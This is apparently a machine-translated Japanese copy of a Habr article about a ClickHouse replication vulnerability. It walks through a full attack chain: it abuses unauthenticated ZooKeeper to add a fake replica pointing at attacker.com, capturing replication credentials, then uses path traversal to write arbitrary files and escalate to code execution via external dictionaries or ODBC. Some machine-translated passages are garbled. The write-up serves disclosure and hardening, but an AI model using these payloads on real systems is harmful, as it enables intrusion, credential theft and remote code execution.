なぜ動物園の檻を閉めておく必要があるのですか?

この記事では、ClickHouse レプリケーション プロトコルの非常に特殊な脆弱性について説明し、攻撃対象領域がどのように拡大されるかについても説明します。

ClickHouse は、大量のデータを保存するためのデータベースであり、多くの場合、複数のレプリカが使用されます。 ClickHouse のクラスタリングとレプリケーションはその上に構築されます アパッチ飼育係 (ZK) 書き込み権限が必要です。

デフォルトの ZK インストールでは認証は必要ないため、Kafka、Hadoop、ClickHouse の構成に使用される数千の ZK サーバーが公開されています。

攻撃対象領域を減らすには、ZooKeeper をインストールするときに常に認証と認可を構成する必要があります。

もちろん、ゼロデイ ベースの Java デシリアライゼーションもいくつかありますが、攻撃者が ClickHouse レプリケーションに使用される ZooKeeper に対して読み書きできると想像してください。

クラスター モードで構成されている場合、ClickHouse は分散クエリをサポートします DDL、ZK を通過 - それらのノードがシート内に作成されます /clickhouse/task_queue/ddl.

たとえば、ノードを作成すると、 /clickhouse/task_queue/ddl/query-0001 内容:

version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']

その後、テスト テーブルはクラスタ サーバー host1 および host2 上で削除されます。 DDL は、CREATE/ALTER/DROP クエリの実行もサポートしています。

怖いと思いませんか？ しかし、攻撃者はどこからサーバーアドレスを入手できるのでしょうか?

クリックハウスのレプリケーション は個々のテーブルのレベルで機能するため、ZK でテーブルが作成されるときに、レプリカとのメタデータの交換を担当するサーバーが指定されます。 たとえば、リクエストを実行するとき（ZK を設定する必要がある、 chXX - レプリカの名前、 foob​​ar - テーブル名):

CREATE TABLE foobar
(
    `action_id` UInt32 DEFAULT toUInt32(0),
    `status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;

ノードが作成されます コラム и .

コンテント /clickhouse/tables/01/foobar/replicas/chXX/hosts:

host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

このクラスターのデータをマージすることはできますか? はい、レプリケーション ポート (TCP/9009) サーバー上 chXX-address ファイアウォールは閉じられず、レプリケーションの認証は構成されません。 認証を回避するにはどうすればよいですか?

攻撃者は、ZK からコンテンツをコピーするだけで、ZK に新しいレプリカを作成できます。 /clickhouse/tables/01-01/foobar/replicas/chXX そして意味を変える host.

コンテント /clickhouse/tables/01–01/foobar/レプリカ/攻撃者/ホスト:

host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http

次に、攻撃者のサーバー上に取得する必要がある新しいデータ ブロックがあることを他のレプリカに伝える必要があります。ZK にノードが作成されます。 /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX 単調増加カウンタ。これはイベント ログの最後のカウンタより大きくなければなりません):

format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2

どこ ソースレプリカ — 前のステップで作成された攻撃者のレプリカの名前、 ブロックID — データブロック識別子、 取得する - 「ブロックを取得」コマンド (および 他の操作用のコマンドは次のとおりです).

次に、各レプリカはログ内の新しいイベントを読み取り、攻撃者が制御するサーバーに移動してデータ ブロックを受信します (レプリケーション プロトコルはバイナリで、HTTP 上で実行されます)。 サーバ attacker.com リクエストを受け取ります:

POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX

XXX はレプリケーション用の認証データです。 場合によっては、これはメインの ClickHouse プロトコルおよび HTTP プロトコルを介してデータベースにアクセスできるアカウントである可能性があります。 これまで見てきたように、レプリケーションに使用される ZooKeeper が認証を構成しないままになっているため、攻撃対象領域が非常に大きくなります。

レプリカからデータのブロックを取得する関数を見てみましょう。この関数は、すべてのレプリカが適切に制御されており、レプリカ間に信頼があることを完全に確信して書かれています。

レプリケーション処理コード

この関数は、ファイルのリストを読み取り、その名前、サイズ、内容を読み取り、ファイル システムに書き込みます。 データがファイル システムにどのように保存されるかについては、別途説明する価値があります。

にはいくつかのサブディレクトリがあります /var/lib/clickhouse (設定ファイルからのデフォルトの保存ディレクトリ):

フラグ - 録音用ディレクトリ フラグ、データ損失後の回復に使用されます。
TMP — 一時ファイルを保存するディレクトリ。
ユーザーファイル — リクエスト内のファイルの操作は、このディレクトリ (INTO OUTFILE など) に限定されます。
— テーブルの説明を含む SQL ファイル。
前処理された構成 - から派生構成ファイルを処理しました /etc/clickhouse-server;
データ - データ自体が含まれる実際のディレクトリ。この場合、データベースごとに個別のサブディレクトリがここに単純に作成されます（たとえば、 /var/lib/clickhouse/data/default).

テーブルごとに、データベース ディレクトリにサブディレクトリが作成されます。 各列は、次の内容に応じて別個のファイルになります。 エンジン形式。 たとえばテーブルの場合 foob​​ar攻撃者によって作成されると、次のファイルが作成されます。

action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2

レプリカは、データのブロックを処理するときに同じ名前のファイルを受信することを期待しており、それらのファイルをいかなる方法でも検証しません。

注意深い読者はおそらく、関数内での file_name の安全でない連結についてすでに聞いたことがあるでしょう。 WriteBufferFromFile。 はい、これにより、攻撃者はユーザー権限を使用して FS 上の任意のファイルに任意のコンテンツを書き込むことができます。 clickhouse。 これを行うには、攻撃者が制御するレプリカはリクエストに対して次の応答を返す必要があります (理解しやすいように改行が追加されています)。

x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper

そして連結後 ../../../../../../../../../tmp/pwned ファイルが書き込まれます /tmp/pwned 内容あり こんにちは、飼育員より.

ファイル書き込み機能をリモート コード実行 (RCE) に変えるためのオプションがいくつかあります。

RCE の外部辞書

古いバージョンでは、ClickHouse 設定が含まれるディレクトリはユーザー権限で保存されていました。 クリックハウス デフォルト。 設定ファイルは、サービスが起動時に読み取ってキャッシュに保存する XML ファイルです。 /var/lib/clickhouse/preprocessed_configs。 変更が発生すると、変更が再度読み取られます。 にアクセスできる場合は、 /etc/clickhouse-server 攻撃者は独自のものを作成できる 外部辞書 実行可能タイプを指定して任意のコードを実行します。 ClickHouse の現在のバージョンでは、デフォルトでは権利が提供されませんが、サーバーが徐々に更新されると、そのような権利が残る可能性があります。 ClickHouse クラスターをサポートしている場合は、設定ディレクトリに対する権限を確認してください。設定ディレクトリはユーザーに属している必要があります。 root.

ODBCからRCEへのファイル変換

パッケージをインストールするとユーザーが作成されます clickhouse、ただし、そのホームディレクトリは作成されません /nonexistent。 ただし、外部辞書を使用する場合、またはその他の理由で、管理者はディレクトリを作成します。 /nonexistent そしてユーザーに与える clickhouse 書き込みアクセス (SSZB! 約。 翻訳者).

クリックハウスのサポート ODBC 他のデータベースに接続することもできます。 ODBC では、データベース ドライバー ライブラリ (.so) へのパスを指定できます。 ClickHouse の古いバージョンでは、これをリクエスト ハンドラーで直接実行できましたが、現在は接続文字列のより厳密なチェックが追加されています。 odbc-bridge, そのため、リクエストからドライバーのパスを指定することはできなくなりました。 しかし、攻撃者は上記の脆弱性を利用してホーム ディレクトリに書き込むことができるのでしょうか?

ファイルを作成しましょう ~/.odbc.ini 次のような内容で:

[lalala]
Driver=/var/lib/clickhouse/user_files/test.so

その後起動時に SELECT * FROM odbc('DSN=lalala', 'test', 'test'); ライブラリがロードされます test.so そしてRCEを受け取りました（ありがとう バロック 先端用）。

これらおよびその他の脆弱性は、ClickHouse バージョン 19.14.3 で修正されました。 ClickHouse と ZooKeepers を大事にしてください!

出所： habr.com